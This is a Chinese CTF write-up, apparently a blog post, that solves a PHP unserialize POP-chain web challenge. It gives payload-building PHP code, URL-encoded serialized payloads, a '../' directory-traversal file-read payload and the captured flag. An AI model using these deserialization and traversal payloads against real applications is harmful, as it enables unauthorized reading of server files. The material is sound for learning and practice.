[第五空间 2021]pklovecloud

[第五空间 2021]pklovecloud

题目来源:nssctf

题目类型:web

涉及考点:POP链

1. 先做代码审计

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>
  • pkshow类没啥用,不用管
  • 最底下 if 条件语句出现反序列化,往上找POP链
  • ace类中的echo_name方法中存在文件包含,则POP链结尾为ace::echo_name()
  • acp类中,__toString()里出现了echo_name(),因此我们想到令acp->cinder=new ace()

综上,POP链构造如下:

acp::__construct()-->acp::__toString()-->ace::echo_name()

有关反序列化及POP链相关知识点详见:[NISACTF 2022]popchains

2. 构造payload

问题的关键在于如何满足强比较$this->openstack->neutron === $this->openstack->nova,因为我们不知道$heat的值,所以我们在构造$docker这个序列化字符串的时候就不知道如何赋值,这里看到一个很骚的方法,即利用NULL===NULL,对$docker赋值为空即可绕过,因此我们构造payload:

<?php
class acp 
{   
    public $cinder;  
    public $neutron;
    public $nova;
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
} 

$a = new acp();
$b = new ace();
$a->cinder = $b;
$b->docker = '';
$b->filename = "flag.php";
echo serialize($a);

?>

得到如下序列化字符串:

O:3:"acp":3:{s:9:" * cinder";O:3:"ace":3:{s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:0:"";}s:7:"neutron";N;s:4:"nova";N;}

记得做url编码,最终传入的payload如下:

/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

但是传入后回显error 500,这里实在不知道怎么办了,放一下官方的wp吧:

<?php
class acp
{ 
    protected $cinder; 
    public $neutron;
    public $nova;
    function __construct()
    { 
        $this->cinder = new ace();
    }
    function __toString() 
    { 
        if (isset($this->cinder)) 
            return $this->cinder->echo_name(); 
    }
}
class ace
{ 
    public $filename; 
    public $openstack;
    public $docker;
    function __construct()
    { 
        $this->filename = "flag.php";
        $this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
    }
    function echo_name() 
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova) {
            $file = "./{$this->filename}";
            if (file_get_contents($file)) 
            { 
                return file_get_contents($file);
            } 
            else
            {
                return "keystone lost~";
            } 
        }
    }
}

$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;

关于R在序列化中的运用,这里放个传送门:PHP反序列化&POP链的构造 侵删请联系!!

最后传入payload:

/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A56%3A%22O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%22a%22%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

然后检查源代码可以看到flag所在地址:

我们修改一下payload,这里还涉及到目录遍历,具体如下:

/?pks=O:3:"acp":3:{s:9:"%00*%00cinder";O:3:"ace":3:{s:8:"filename";s:34:"../../../../../../nssctfasdasdflag";s:9:"openstack";N;s:6:"docker";s:17:"O:6:"pkshow":0:{}";}s:7:"neutron";N;s:4:"nova";N;}

%00那里是空格

url编码一下:

/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A34%3A%22..%2F..%2F..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A17%3A%22O%3A6%3A%22pkshow%22%3A0%3A%7B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

最终得到flag:

NSSCTF{ec54919f-1dfd-438d-baf8-25521ad119cb}

3. 小结

不知道是不是题目环境的问题,NULL绕过一直传不成功。另外关于R在序列化中的运用也没看太明白,后续理解好了应该会再补充一下。

日期:2023.8.6

作者:y0Zero

posted @ 2023-08-07 01:08  y0Zero  阅读(207)  评论(0编辑  收藏  举报